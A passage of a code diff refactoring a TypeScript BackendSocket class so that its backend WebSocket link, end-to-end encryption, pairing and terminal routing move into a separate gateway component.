every removal signs out. */- isOwnDeviceKey: ((pub: string) => boolean) | null = null- /** The link to the backend just came up (each reconnect too). */- onLinkUp: (() => void) | null = null- /** Appends to the device key log waiting for the backend's answer, by requestId. */- private readonly devlogAppends = new Map<string, (payload: Record<string, unknown> | null) => void>()runtimeProfileProvider: ((session: RegisteredSession) => string | null) | null = null- /** Web↔adapter E2EE: group-encrypts user events, runs the CPace pairing, holds per-conn sessions. */- readonly e2ee: E2eeManager/** Backend-resolved machine id, persisted by the SSO login preflight. */readonly machineId: string- /** The ONE place commander presence changes. Both callers — the `__clients` snapshot and `onGone` (our- * own backend link died) — mean the same thing when the count reaches zero: nobody is watching. They- * used to differ, and `onGone` forgot to drop the device's E2EE session, so `deviceE2eeConnected()`- * stayed true and the local dashboard kept a green "device connected" dot for a device long gone. */- private setCommanderCount(commander: number, active: number | null): void {- const hadCommander = this.commanderCount > 0- this.commanderCount = commander- this.commanderActive = active- if (hadCommander !== (commander > 0)) this.onCommanderPresenceChanged?.(commander > 0)- if (commander <= 0) {- if (this.directDeviceSinks.size) this.e2ee.dropSessionsByRole('device', id => this.directDeviceSinks.has(id))- else this.e2ee.dropSessionsByRole('device')- }- }-/** True while at least one device (commander) client is connected — gates the LLM recap. */hasCommander(): boolean {return this.commanderCount > 0@@ -590,154 +446,100 @@ export class BackendSocket {return this.localClients.size > this.toolClients.size}- /** True after a paired device has completed the E2EE hello/welcome session. */- deviceE2eeConnected(): boolean {- return this.e2ee.deviceConnected()+ /** Live backend link state (local dashboard), as the gateway last said. */+ isConnected(): boolean {+ return this.linkUp}- private readonly directDeviceSinks = new Map<string, (frame: Record<string, unknown>) => void>()- private readonly directDevicePins = new Map<string, string>()- onDirectDeviceRevoked?: (fingerprint: string) => void- /** A peer linked here over the remote password (after it is trusted and, for a machine, pinned back). */- onPeerLinked?: (peer: LinkedPeer) => void- /** A person unpaired this identity here (not the trust group removing it). */- onUnpaired?: (identityPub: string) => void- /** A connection that is, or is pairing as, an Autonomous device — what the device dump records. */- private isDeviceConn(connId: string): boolean {- return this.directDeviceSinks.has(connId) || this.e2ee.sessionRole(connId) === 'device'- || (this.e2ee.pendingConnection() === connId && this.e2ee.pendingPair()?.role === 'device')+ /** A remote client the gateway holds a session with: its role and the label it was paired under. */+ remoteClient(connId: string): RemoteClient | null {+ return this.remoteClients.get(connId) ?? null}- attachDirectDevice(connId: string, send: (frame: Record<string, unknown>) => void): void { this.directDeviceSinks.set(connId, send) }- detachDirectDevice(connId: string): void { this.directDeviceSinks.delete(connId); this.directDevicePins.delete(connId); this.e2ee.dropSession(connId); this.autonomousDeviceRelay?.drop(connId); this.onCommanderPresenceChanged?.(this.hasCommander()) }- pairedDirectFingerprint(connId: string): string | null { const pub = this.directDevicePins.get(connId); return pub ? fingerprint(b64d(pub)) : null }- async receiveDirectDevice(connId: string, frame: Record<string, unknown>, pairingAllowed: boolean): Promise<void> {- if (!this.directDeviceSinks.has(connId)) return- const type = frame.type- if (type !== 'autonomous_device_request') deviceDump.record('in', 'wire', connId, frame) // requests: decrypted in the relay- if (type === 'machine_selected') return- if (type === 'autonomous_device_request') { await this.autonomousDeviceRelay?.handle(connId, frame); return }- const controls = pairingAllowed ? ['e2e_pair_intent', 'e2e_pair_cancel', 'e2e_pake', 'e2e_hello', 'e2e_status'] : ['e2e_hello', 'e2e_status']- if ((type === 'e2e_pake' || type === 'e2e_pair_cancel') && this.e2ee.pendingConnection() !== connId) return- if (typeof type === 'string' && controls.includes(type)) this.e2ee.handleFrame(connId, frame)- }- private autonomousDeviceRelay?: AutonomousDeviceRelay- setAutonomousDeviceService(service: AutonomousDeviceService): void {- this.autonomousDeviceRelay = new AutonomousDeviceRelay(- this.e2ee,- (connId, frame) => this.sendTo(connId, frame),- service,- this.machineId,- () => this.onCommanderJoin?.(),- identity => this.e2ee.revoke(fingerprint(b64d(identity))),- )- }- directAutonomousDeviceSessions(): number { return this.autonomousDeviceRelay?.count(id => this.directDeviceSinks.has(id)) ?? 0 }- autonomousDeviceConnected(): boolean { return this.autonomousDeviceRelay?.connected() ?? false }- emitAutonomousDeviceEvent(frame: AutonomousDeviceFrame, deviceId?: string): void { this.autonomousDeviceRelay?.emit(frame, deviceId) }- /** Live backend link state (local dashboard + E2EE gating). */- isConnected(): boolean {- return this.ws?.readyState === WebSocket.OPEN+ constructor(machineId: string, onStatus: (connected: boolean) => void = () => {}) {+ this.onStatus = onStatus+ this.machineId = machineId}- /** A browser waiting to pair (local dashboard), or null. */- pendingPair(): ReturnType<E2eeManager['pendingPair']> {- return this.e2ee.pendingPair()+ /** The gateway this socket's remote clients come and go through: in this process, or a link to its own. */+ useGateway(gateway: GatewayPort): void {+ this.gatewayPort = gateway+ if (!this.requestsOpen) gateway.holdRequests()+ if (this.thisComputerOnly) gateway.serveThisComputerOnly()+ gateway.localClients(this.localClients.size)}- /** Record the local dashboard port so it's surfaced to the web (in e2e_status) for approve-via-web. */- setDashboardPort(port: number): void {- this.e2ee.dashboardPort = port- }+ get gateway(): GatewayPort | null { return this.gatewayPort }- constructor(machineId: string, auth?: AuthSessionManager, onStatus: (connected: boolean) => void = () => {}, computerId = '', autonomousEnv = 'prod') {- this.auth = auth ?? new AuthSessionManager(env.BACKEND_WS_URL.replace(/\/$/, '').replace(/^wss:/, 'https:').replace(/^ws:/, 'http:'))- this.testToken = auth ? undefined : machineId- // `?label=<hostname>` lets the backend record which machine connected (shown on the machine card);- // `?computer=<stable id>` enforces one-computer-per-computer (a 2nd computer is rejected with HTTP 409);- // `?v=<VERSION>` is our own version, which the backend stores on the machine at every connect.- const base = `${env.BACKEND_WS_URL.replace(/\/$/, '')}/api/adapter-ws?label=${encodeURIComponent(hostname())}&v=${encodeURIComponent(VERSION)}&autonomousEnv=${encodeURIComponent(autonomousEnv)}`- // `?machine=<id>` is the machine this daemon still believes it is. The backend uses it to tell a- // REVOKED daemon — one whose machine was deleted while it was offline — apart from a first-time- // pairing, and answers 403 instead of quietly minting a replacement machine. Guarded on shape- // because in test mode the first constructor argument carries a token, not a machine id.- const claim = /^[a-f0-9]{32}$/.test(machineId) ? `&machine=${encodeURIComponent(machineId)}` : ''- this.url = (computerId ? `${base}&computer=${encodeURIComponent(computerId)}` : base) + claim- this.onStatus = onStatus- this.machineId = machineId- this.e2ee = new E2eeManager({- machineId: this.machineId,- sendTo: (connId, frame) => this.sendTo(connId, frame),- sendUser: (frame) => this.sendUser(frame),- isConnected: () => this.isConnected(),- isConnectionAvailable: connId => this.directDeviceSinks.has(connId) || this.isConnected(),- onIdentityPaired: (connId, pub) => { if (this.directDeviceSinks.has(connId)) this.directDevicePins.set(connId, pub) },- onIdentityRevoked: identity => { this.autonomousDeviceRelay?.revoke(identity); this.onDirectDeviceRevoked?.(fingerprint(b64d(identity))) },- onSessionDropped: (connId) => { this.viewerForwarder.closeConnection(connId); this.interactiveViewers.closeConnection(connId); this.ownerCommands.closeConnection(connId) },- onPeerLinked: (peer) => {- // The mutual half of a password link: a machine that proved this one's password is pinned back,- // so this machine can dial it without that machine's own password.- if (peer.kind === 'machine' && peer.machineId && peer.machineId !== this.machineId) {- new MachinePeerStore().pin(peer.machineId, peer.pub, peer.label)- }- this.onPeerLinked?.(peer)- },- onUnpaired: (pub) => this.onUnpaired?.(pub),- })- this.terminalP2p = new TerminalP2pResponderPool({- sendSignal: (connId, type, payload) => this.sendP2pSignal(connId, type, payload),- onData: (connId, data) => this.handleP2pData(connId, data),- onUnavailable: (connId, reason) => this.demoteP2pConnection(connId, reason),- })+ /**+ * What the gateway tells the core. Each member is the core's half of what the socket did itself while it+ * held the link: a remote client's request goes through the same gate and the same per-connection order as+ * a window's, and what the backend said about this machine lands where the socket used to keep it.+ */+ readonly fromGateway: GatewayEvents = {+ frame: (connId, frame, transport, role) => this.enqueueDown(frame, connId, transport, role),+ binary: (connId, clear) => this.enqueueTerminalBinary(connId, clear),+ client: (connId, client) => {+ if (client) { this.remoteClients.set(connId, client); return }+ if (!this.remoteClients.delete(connId)) return+ this.viewerForwarder.closeConnection(connId); this.interactiveViewers.closeConnection(connId); this.ownerCommands.closeConnection(connId)+ },+ disconnected: async (connId) => {+ this.remoteClients.delete(connId)+ this.viewerForwarder.closeConnection(connId)+ this.interactiveViewers.closeConnection(connId); this.ownerCommands.closeConnection(connId)+ await this.terminalStreams?.closeConnection(+ connId,+ 'client connection closed',+ false,+ )+ },+ observer: async (connId, type, payload) => { await this.harnessSharing?.receive(connId, type, payload) },+ toLocal: (connId, frame) => {+ if (connId) { this.sendLocalTo(connId, frame); return }+ for (const [id, sink] of this.localClients) if (!sink.sendFrame(frame)) void this.unregisterLocalClient(id)+ },+ status: (connected) => {+ this.linkUp = connected+ this.onStatus(connected)+ },+ linkDown: () => {+ this.harnessSharing?.closeAll()+ this.viewerForwarder.closeAll()+ this.interactiveViewers.closeAll(); this.ownerCommands.closeAll()+ void this.terminalStreams?.closeConnectionsWhere(+ (connId) => !isLocalClientId(connId),+ 'backend disconnected',+ false,+ )+ },+ commanders: (count, active, recheck = false) => {+ const hadCommander = this.commanderCount > 0+ this.commanderCount = count+ this.commanderActive = active+ if (recheck) this.onCommanderPresenceChanged?.(this.hasCommander())+ else if (hadCommander !== (count > 0)) this.onCommanderPresenceChanged?.(count > 0)+ },+ commanderJoined: () => this.onCommanderJoin?.(),+ meta: (meta) => {+ if ('gridName' in meta) this.harnessGridName = meta.gridName ?? null+ if ('name' in meta) this.machineDisplayName = meta.name ?? null+ this.onMachineMeta?.(meta.name ?? null)+ },+ notice: (notice: BackendNotice) => {+ if (notice.type === 'desk_changed') this.refreshChannels()+ this.sendLocal(notice.type === 'machines_changed' ? { type: notice.type, payload: { reason: notice.reason } }+ : notice.type === 'device_keys_changed' ? { type: notice.type, payload: {} }+ : { type: notice.type, payload: { revision: notice.revision } })+ },+ revoked: () => this.onRevoked?.(),+ busy: () => this.onBusy?.(),}setTerminalStreamManager(manager: TerminalStreamManager): void {this.terminalStreams = manager}- /** Run CPace pairing for a code entered via `harness pair <code>` (delegated to the manager). */- pair(code: string): Promise<PairResult> {- return this.e2ee.onPair(code)- }- e2eeFingerprint(): string {- return this.e2ee.fingerprint()- }- /** `harness pairings` — list paired clients. */- listPairs(): ReturnType<E2eeManager['listPaired']> {- return this.e2ee.listPaired()- }- /** `harness unpair <id>` — unpair one client (signals it to re-pair if online). */- revoke(id: string): ReturnType<E2eeManager['revoke']> {- return this.e2ee.revoke(id)- }- /** `harness unpair --all` — unpair every client. */- revokeAll(): ReturnType<E2eeManager['revokeAll']> {- return this.e2ee.revokeAll()- }- /** `harness remote-password set` — stretch + persist a new persistent remote password. */- setRemotePassword(password: string): ReturnType<E2eeManager['setRemotePassword']> {- return this.e2ee.setRemotePassword(password)- }- /** `harness remote-password clear` — remove the persistent remote password. */- clearRemotePassword(): void {- this.e2ee.clearRemotePassword()- }- /** `harness link connect` — trust the machine this one just linked as a client too (mutual link). */- trustPeer(peer: LinkedPeer): void {- this.e2ee.trustPeer(peer)- }- /** Stop trusting `pub` here (unlink / trust-group removal); true when it was trusted. */- untrustPeer(pub: string): boolean {- return this.e2ee.untrustPeer(pub)- }- pairedPeers(): ReturnType<E2eeManager['pairedPeers']> {- return this.e2ee.pairedPeers()- }- /** `harness remote-password status` — whether one is set, and its fingerprint. */- remotePasswordStatus(): ReturnType<E2eeManager['remotePasswordStatus']> {- return this.e2ee.remotePasswordStatus()- }-/** The account's private harness grid name, as the backend last reported it. Null until the first* `machine_meta` lands, or when this account has none yet. */private harnessGridName: string | null = null@@ -806,148 +608,9 @@ export class BackendSocket {return null}+ /** Dial the backend, through the gateway: this daemon is signed in. */connect(): void {- if (this.closed || this.ws || this.connecting) return- this.connecting = true- void this.connectWithSession()- }-- private async connectWithSession(): Promise<void> {- let token: string- try {- token = this.testToken ?? await this.auth.accessToken()- } catch (err) {- this.connecting = false- this.onStatus(false)- const delay = err instanceof AuthSessionError && err.code === 'INVALID_REFRESH' ? MAX_DELAY_MS : BASE_DELAY_MS- if (!this.closed) setTimeout(() => this.connect(), delay)- return- }- if (this.closed) { this.connecting = false; return }- // On timeout `ws` emits 'error' ("Opening handshake has timed out") then 'close', which lands in- // onGone below and re-enters the ordinary backoff — the same path a refused connection takes.- const ws = new WebSocket(this.url, [token], { handshakeTimeout: HANDSHAKE_TIMEOUT_MS })- this.ws = ws- this.connecting = false-- ws.on('open', () => {- this.attempts = 0- console.log(`[backend] connected → ${this.url}`)- this.onStatus(true)- this.drainQueue()- this.onLinkUp?.()-- this.heartbeat = watchSocketLiveness(ws, {- onIdle: (idleMs) => console.log(`[backend] no traffic for ${Math.round(idleMs / 1000)}s — terminating the link`),- onWake: (sleptMs, hungUp) => console.log(`[backend] woke after ${Math.round(sleptMs / 1000)}s asleep — ${hungUp ? 'the backend has hung up, redialing' : 're-probing the link'}`),- peerGivesUpAfterMs: BACKEND_IDLE_DEADLINE_MS,- })-- // App-level ping refreshes the backend's presence key (TTL 30s). The window's presence rides- // the same tick — a fresh socket knows nothing about the window, so its first tick goes through.- this.lastAppPresenceUpAt = 0- if (this.appOpenOwed && this.localClients.size > 0) this.sendAppPresence('open')- this.appPing = setInterval(() => {- this.sendBestEffort({ t: 'ping' })- if (this.localClients.size > 0) this.sendAppPresence('ping')- }, APP_PING_MS)- })-- ws.on('message', (raw, isBinary) => {- if (isBinary) {- const hop = decodeTerminalHop(new Uint8Array(raw as Buffer))- if (hop?.direction === TerminalHopDirection.down) this.enqueueTerminalBinary(hop.connId, hop.clientFrame)- return- }- let env_: DownEnvelope- try { env_ = JSON.parse(raw.toString()) as DownEnvelope } catch { return }- if (env_.t === 'down' && env_.frame) {- // A malformed/hostile down-frame (bad __e2e envelope, bad ephemeral key) can throw in the- // pre-`try` part of dispatchDown; without this .catch that becomes an unhandledRejection and the- // daemon exits. Contain it: log, drop the frame, keep the socket alive.- this.enqueueDown(env_.frame, env_.connId ?? '')- }- })-- const onGone = (why: string): void => {- if (this.ws !== ws) return- this.ws = null- if (this.heartbeat) { this.heartbeat.stop(); this.heartbeat = null }- if (this.appPing) { clearInterval(this.appPing); this.appPing = null }- this.draining = false- // While the backend link is down we can neither observe device presence nor deliver a card, so- // default the recap gate to OFF (safe value) instead of holding a stale count — otherwise a turn- // completing during the gap burns a `claude -p` recap that goes nowhere. attachAdapter always- // re-pushes the true count via recomputeAndSendClients on reconnect (and 0→N re-fires the replay).- this.harnessSharing?.closeAll()- this.setCommanderCount(0, null) // active count is unknown until the next __clients snapshot- this.viewerForwarder.closeAll()- this.interactiveViewers.closeAll(); this.ownerCommands.closeAll()- void this.terminalStreams?.closeConnectionsWhere(- (connId) => !isLocalClientId(connId),- 'backend disconnected',- false,- )- void this.terminalP2p.stop()- this.p2pPendingOpens.clear()- this.p2pStreams.clear()- this.replayCommanderOnNextSnapshot = true- this.onStatus(false)- if (this.closed) return- // A 401 refresh owns the next connect (see the error handler below): no competing backoff timer,- // or two sockets would race for the one machine claim.- if (this.retryingAuth) { console.log(`[backend] disconnected (${why}) — refreshing the token before reconnecting`); return }- const delay = Math.min(MAX_DELAY_MS, BASE_DELAY_MS * 2 ** Math.min(this.attempts++, 5))- console.log(`[backend] disconnected (${why}) — retrying in ${Math.round(delay / 1000)}s (attempt ${this.attempts})`)- setTimeout(() => this.connect(), delay)- }- ws.on('close', (code) => onGone(`close ${code}`))- ws.on('error', (err) => {- const e = err as Error & { code?: string }- const msg = e.message || e.code || String(err)- console.error('[backend] socket error:', msg)- // 401 on the upgrade = the access token was refused. Refresh it and come back; the socket is- // torn down the ordinary way below (`ws.close()` → onGone: timers, status, streams), which is- // what the previous shape skipped — it nulled `this.ws` first, so onGone returned at its first- // line, status kept saying connected, and a refresh that failed for ANY reason (a network blip- // included) wiped the SSO session. Only a refresh token the backend itself rejects means the- // session is over; everything else is a transient and re-enters the backoff.- if (/Unexpected server response: 401\b/.test(msg) && !this.retryingAuth) {- this.retryingAuth = true- void this.auth.accessToken({ force: true, failedToken: token })- .then(() => {- this.retryingAuth = false- // onGone has normally run by now (the close lands long before a network round trip- // returns); if this socket is somehow still ours, let go of it before dialing again.- if (this.ws === ws) { this.ws = null; try { ws.terminate() } catch { /* ignore */ } }- this.connect()- })- .catch((error: unknown) => {- this.retryingAuth = false- // No session to refresh, or a refresh token the backend rejects: the session is over.- if (error instanceof AuthSessionError && (error.code === 'INVALID_REFRESH' || error.code === 'MISSING')) {- this.closed = true- this.onRevoked?.()- return- }- if (this.closed) return- if (this.ws === ws) { this.ws = null; try { ws.terminate() } catch { /* ignore */ } }- const delay = Math.min(MAX_DELAY_MS, BASE_DELAY_MS * 2 ** Math.min(this.attempts++, 5))- console.log(`[backend] token refresh failed (${error instanceof Error ? error.message : String(error)}) — retrying in ${Math.round(delay / 1000)}s (attempt ${this.attempts})`)- setTimeout(() => this.connect(), delay)- })- } else if (/Unexpected server response: 40[13]\b/.test(msg)) {- this.closed = true- this.onRevoked?.()- }- // 409 = another computer already holds this machine. Keep the SSO session; stop- // retrying (the 40[13] regex above deliberately excludes 409, so without this it would loop).- else if (/Unexpected server response: 409\b/.test(msg)) {- this.closed = true- this.onBusy?.()- }- try { ws.close() } catch { /* ignore */ }- })+ this.gatewayPort?.connect()}async stop(): Promise<void> {@@ -960,17 +623,40 @@ export class BackendSocket {this.channelDirectory?.stop()this.viewerForwarder.closeAll()this.interactiveViewers.closeAll(); this.ownerCommands.closeAll()- if (this.heartbeat) this.heartbeat.stop()- if (this.appPing) clearInterval(this.appPing)await this.terminalStreams?.stop()- await this.terminalP2p.stop()- try { this.ws?.close() } catch { /* ignore */ }- this.ws = null+ await this.gatewayPort?.stop()await this.harnessSharing?.stop()}- /** Send an up-frame (event or RPC reply) to the WEB audience. Queued while disconnected.- * User-content events are group-encrypted (E2EE) here; system frames pass through as plaintext. */+ /** What the gateway does with a frame of the core's, guarded: a throw there (sealing one, say) costs+ * the remote clients that frame, and never the windows on this computer or the caller. Before the+ * gateway was its own part, a throw in the group key's wrap went up through `send()` into the event+ * funnel and cost every consumer after the app's that turn's events (docs/design/2026-10-06-core-boundary-next.md,+ * "If it dies"). Said at most once a minute, with how many were not. */+ private toGateway(what: string, call: (gateway: GatewayPort) => void): void {+ this.throughGateway(what, (gateway) => { call(gateway); return true }, false)+ }+ /** The same, for a send whose caller learns whether it went: a throw is a send that did not (a terminal+ * stream then closes, as it does for a connection with no session). */+ private throughGateway(what: string, call: (gateway: GatewayPort) => boolean, otherwise: boolean): boolean {+ const gateway = this.gatewayPort+ if (!gateway) return otherwise+ try {+ return call(gateway)+ } catch (error) {+ const at = Date.now()+ if (at - this.gatewayFailureSaidAt < 60_000) { this.gatewayFailuresUnsaid++; return otherwise }+ console.error(`[backend] the gateway could not take a ${what} frame · ${error instanceof Error ? error.message : String(error)}${this.gatewayFailuresUnsaid ? ` · ${this.gatewayFailuresUnsaid} more since` : ''}`)+ this.gatewayFailureSaidAt = at+ this.gatewayFailuresUnsaid = 0+ return otherwise+ }+ }+ private gatewayFailureSaidAt = -Infinity+ private gatewayFailuresUnsaid = 0++ /** Send an up-frame (event or RPC reply) to every window here and to the WEB audience: the gateway seals+ * what carries content and queues it while the link is down. */send(frame: Frame): void {this.monitorCompletions.observe(frame)// Only an already-open orchestration service observes events; ordinary sessions@@ -981,14 +667,13 @@ export class BackendSocket {for (const [connId, sink] of this.localClients) {if (!sink.sendFrame(frame)) void this.unregisterLocalClient(connId)}- if (!this.thisComputerOnly) this.enqueue({ t: 'up', frame: this.e2ee.wrapUp(frame) })+ if (!this.thisComputerOnly) this.toGateway('web', (gateway) => gateway.broadcast(frame))}- /** Signed out: the cloud link is never dialed in this process's life (a sign-in restarts it), so what- * was queued for it is dropped and nothing more is sealed or queued: every frame, a text_delta's- * among them, was sealed and queued for a link that never opens, two thousand deep. */- serveThisComputerOnly(): void { this.thisComputerOnly = true; this.queue.length = 0 }- private thisComputerOnly = false+ /** Signed out: the cloud link is never dialed in this process's life (a sign-in restarts it), so nothing+ * is handed to the gateway to seal or queue for it: every frame, a text_delta's among them, was sealed+ * and queued for a link that never opens, two thousand deep. */+ serveThisComputerOnly(): void { this.thisComputerOnly = true; this.gatewayPort?.serveThisComputerOnly() }/** Send an up-frame to the LOOPBACK clients only — never to the cloud.*@@ -1026,87 +711,40 @@ export class BackendSocket {return false}- /** Send an up-frame to exactly ONE web connection (E2EE pairing/welcome + targeted RPC replies). */+ /** Share's frame to one observer: plaintext to the relay, through the gateway. Share seals its own. */sendObserver(connId: string, type: string, payload: Record<string, unknown>): boolean {- return this.sendBestEffort({ t: 'up', targetConnId: connId, webEligible: false, commanderEligible: false, frame: { type, payload } })+ return this.throughGateway('observer', (gateway) => gateway.observer(connId, type, payload), false)}+ /** A frame to a window on this computer. A remote client's frames go through the gateway, which seals them. */sendTo(connId: string, frame: Frame): void {- // Handshake frames only: device RPC, legacy replies and broadcasts are recorded in the clear where built.- if (typeof frame.type === 'string' && frame.type.startsWith('e2e_') && deviceDump.enabled && this.isDeviceConn(connId)) deviceDump.record('out', 'wire', connId, frame)- const direct = this.directDeviceSinks.get(connId)- if (direct) { direct(frame); return }const local = this.localClients.get(connId)- if (local) {- if (!local.sendFrame(frame)) void this.unregisterLocalClient(connId)- return- }- // Only its own socket ever reached a window on this computer, and that socket has closed: queued for- // the relay, the frame would wait for a connection the backend has never heard of.- if (isLocalClientId(connId)) return- this.enqueue({ t: 'up', targetConnId: connId, frame })+ if (!local) return+ if (!local.sendFrame(frame)) void this.unregisterLocalClient(connId)}/** Pairwise terminal output is never queued across reconnect: the stream/lease is closed on link loss. */sendTerminalTo(connId: string, type: string, payload: Record<string, unknown>): boolean {const local = this.localClients.get(connId)if (local) return local.sendFrame({ type, payload })- const frame = this.e2ee.wrapTarget(connId, type, payload)- if (!frame) return false- if (this.routeTerminalOutputToP2p(connId, type, payload)) {- if (this.terminalP2p.send(connId, JSON.stringify(frame))) return true- this.demoteP2pConnection(connId, 'send_failed')- }- return this.sendBestEffort({- t: 'up',- targetConnId: connId,- webEligible: true,- commanderEligible: false,- frame,- })+ return this.throughGateway('terminal', (gateway) => gateway.terminal(connId, type, payload), false)}- /** Pairwise-encrypted binary terminal output/keyframe. The hop prefix exposes- * only connId and direction to the opaque backend relay. */+ /** Binary terminal output/keyframe: in the clear to a window here, sealed by the gateway for anyone else. */sendTerminalBinaryTo(connId: string, clear: TerminalBinaryClear): boolean {const local = this.localClients.get(connId)if (local) {const frame = encodeTerminalLocal(clear)return frame ? local.sendBinary(frame) : false}- const clientFrame = this.e2ee.wrapTerminalBinary(connId, clear)- if (!clientFrame) return false- if (this.p2pStreams.get(connId)?.has(clear.streamId)) {- if (this.terminalP2p.send(connId, Buffer.from(clientFrame))) return true- this.demoteP2pConnection(connId, 'send_failed')- }- const packet = encodeTerminalHop(TerminalHopDirection.up, connId, clientFrame)- if (!packet || !this.ws || this.ws.readyState !== WebSocket.OPEN) return false- try { this.ws.send(packet); return true } catch { return false }- }-- /**- * Append one entry to the account's device key log, over this machine's own socket — the backend- * ties a machine's entries to the machine that sent them. Resolves to the backend's answer- * (`{head}` or `{error, head?}`), or null when it did not come in time.- */- appendDeviceLog(entry: Record<string, unknown>, timeoutMs = 15_000): Promise<Record<string, unknown> | null> {- const requestId = `dl-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}`- return new Promise((resolve) => {- const timer = setTimeout(() => { this.devlogAppends.delete(requestId); resolve(null) }, timeoutMs)- timer.unref?.()- this.devlogAppends.set(requestId, (payload) => { clearTimeout(timer); resolve(payload) })- this.enqueue({ t: 'up', webEligible: false, frame: { type: 'devlog_append', payload: { requestId, entry } } })- })+ return this.throughGateway('terminal', (gateway) => gateway.terminalBinary(connId, clear), false)}/** Send a user-level notification to every logged-in browser that owns this machine. */sendUser(frame: Frame): void {- this.enqueue({ t: 'up', userEligible: true, webEligible: false, frame })+ this.toGateway('user', (gateway) => gateway.user(frame))}- /** Send a DEVICE-audience frame (commanderEligible, not web). User/data frames are group-encrypted- * (E2EE) here so the backend relays only ciphertext; system/presence frames pass through. *//*** A tap on everything bound for a device, taken BEFORE E2EE wrapping.*@@ -1120,42 +758,22 @@ export class BackendSocket {*/onOutboundCommander?: (frame: Frame) => void+ /** Send a DEVICE-audience frame (commanderEligible, not web): the gateway seals user/data frames under+ * the group key, so the backend relays only ciphertext; system/presence frames pass through. */sendCommander(frame: Frame): void {this.onOutboundCommander?.(frame)if (env.LOG_FRAMES) logFrame('→', 'device', frame)- deviceDump.record('out', 'commander', undefined, frame)- if (!this.thisComputerOnly) this.enqueue({ t: 'up', webEligible: false, commanderEligible: true, frame: this.e2ee.wrapCommander(frame) })- }-- /**- * The desktop window is open on this computer: tell the backend, which turns it into the person's- * `user_daily_presence` row. The window itself says nothing — its loopback socket IS the fact, so- * this daemon reports it: `open` the moment a window registers (registerLocalClient), `ping` on the- * app-ping tick while any window is attached, at most once per APP_PRESENCE_UP_MS. Best-effort and- * plaintext on purpose: it is bookkeeping about the person, not data, and a daemon that is signed- * out (no backend dial) or between reconnects simply drops it rather than queueing a stale "was- * open" behind real frames. Returns whether a frame went up.- */- sendAppPresence(kind: 'open' | 'ping'): boolean {- const now = Date.now()- if (kind === 'ping' && now - this.lastAppPresenceUpAt < APP_PRESENCE_UP_MS) return false- const sent = this.sendBestEffort({- t: 'up',- webEligible: false,- commanderEligible: false,- frame: { type: 'app_presence', payload: { kind } },- })- if (sent) this.lastAppPresenceUpAt = now- if (kind === 'open') this.appOpenOwed = !sent- return sent+ this.toGateway('device', (gateway) => gateway.commander(frame))}/** Attach one authenticated loopback desktop client to the same RPC and event plane as cloud web. */registerLocalClient(connId: string, sink: LocalClientSink, opts: { tool?: boolean } = {}): boolean {if (!isLocalClientId(connId) || this.localClients.has(connId)) return falsethis.localClients.set(connId, sink)+ this.gatewayPort?.localClients(this.localClients.size)if (opts.tool) { this.toolClients.add(connId); return true }- this.sendAppPresence('open')+ // The window is the person's session: the backend counts it, now or when the link next comes up.+ this.gatewayPort?.windowOpened()this.onLocalClient?.(connId, true)return true}@@ -1179,9 +797,9 @@ export class BackendSocket {this.rowStateWindows.delete(connId)this.viewerForwarder.closeConnection(connId)this.interactiveViewers.closeConnection(connId); this.ownerCommands.closeConnection(connId)- // The window left before any link could hear it attach: nothing happened, as far as the backend- // is concerned, and a later link must not be told otherwise.- if (this.localClients.size === 0) this.appOpenOwed = false+ // The last one leaving before any link could hear it attach: nothing happened, as far as the backend+ // is concerned, and the gateway does not tell a later link otherwise.+ this.gatewayPort?.localClients(this.localClients.size)this.downChains.delete(connId)await this.terminalStreams?.closeConnection(connId, 'local client disconnected', false)}@@ -1209,109 +827,13 @@ export class BackendSocket {await this.terminalStreams?.handleBinary(connId, frame)}- private enqueue(msg: OutboundEnvelope): void {- if (this.thisComputerOnly) return- const item: QueueItem = { id: this.nextQueueId++, data: JSON.stringify(msg), msg, attempts: 0 }- if (this.queue.length >= QUEUE_MAX) this.dropOneQueued()- if (this.queue.length >= QUEUE_MAX) {- this.droppedSinceLog++- this.logQueueDrops()- return- }- this.queue.push(item)- this.drainQueue()- }-- private sendBestEffort(msg: OutboundEnvelope): boolean {- const data = JSON.stringify(msg)- if (this.ws && this.ws.readyState === WebSocket.OPEN) {- try { this.ws.send(data); return true } catch { /* ignore */ }- }- return false- }-- private sendP2pSignal(connId: string, type: string, payload: TerminalP2pSignal): void {- const frame = this.e2ee.wrapTarget(connId, type, { ...payload })- if (frame) this.sendTo(connId, frame)- }-- private handleP2pData(connId: string, data: TerminalP2pData): void {- if (typeof data === 'string') {- if (Buffer.byteLength(data, 'utf8') > 512 * 1024) return- let frame: Frame- try { frame = JSON.parse(data) as Frame } catch { return }- if (typeof frame.type !== 'string' || !TERMINAL_P2P_DOWN_TYPES.has(frame.type)) return- this.enqueueDown(frame, connId, 'p2p')- return- }- if (data.length > 512 * 1024) return- this.enqueueTerminalBinary(connId, data)- }-- private noteTerminalInputRoute(- connId: string,- type: string,- payload: Record<string, unknown>,- transport: DownTransport,- ): void {- if (type === 'terminal_open' && typeof payload.requestId === 'string') {- let pending = this.p2pPendingOpens.get(connId)- if (!pending) { pending = new Set(); this.p2pPendingOpens.set(connId, pending) }- if (transport === 'p2p') pending.add(payload.requestId)- else pending.delete(payload.requestId)- return- }- const streamId = typeof payload.streamId === 'string' ? payload.streamId : ''- // Live-migration promotion: the client's remoteRelay.ts sends a SECOND terminal_resync over p2p- // (after the first one, over relay, already drained/snapshotted the stream) once its own p2p- // channel is ready — arriving here is our signal to start routing this stream's OUTPUT over p2p- // too, mirroring what the client just did on its side. hasStream() guards against promoting a- // streamId whose pane was closed in the same instant the migration was in flight.- if (type === 'terminal_resync' && transport === 'p2p' && streamId- && this.terminalStreams?.hasStream(connId, streamId)) {- let streams = this.p2pStreams.get(connId)- if (!streams) { streams = new Set(); this.p2pStreams.set(connId, streams) }- streams.add(streamId)- return- }- if (transport !== 'p2p' && streamId) this.p2pStreams.get(connId)?.delete(streamId)- }-- private routeTerminalOutputToP2p(connId: string, type: string, payload: Record<string, unknown>): boolean {- const requestId = typeof payload.requestId === 'string' ? payload.requestId : ''- const streamId = typeof payload.streamId === 'string' ? payload.streamId : ''- const pending = this.p2pPendingOpens.get(connId)- if ((type === 'terminal_ready' || type === 'terminal_error') && requestId && pending?.has(requestId)) {- pending.delete(requestId)- if (pending.size === 0) this.p2pPendingOpens.delete(connId)- if (type === 'terminal_ready' && streamId) {- let streams = this.p2pStreams.get(connId)- if (!streams) { streams = new Set(); this.p2pStreams.set(connId, streams) }- streams.add(streamId)- }- return true- }- const streams = this.p2pStreams.get(connId)- const selected = !!streamId && streams?.has(streamId) === true- if (selected && type === 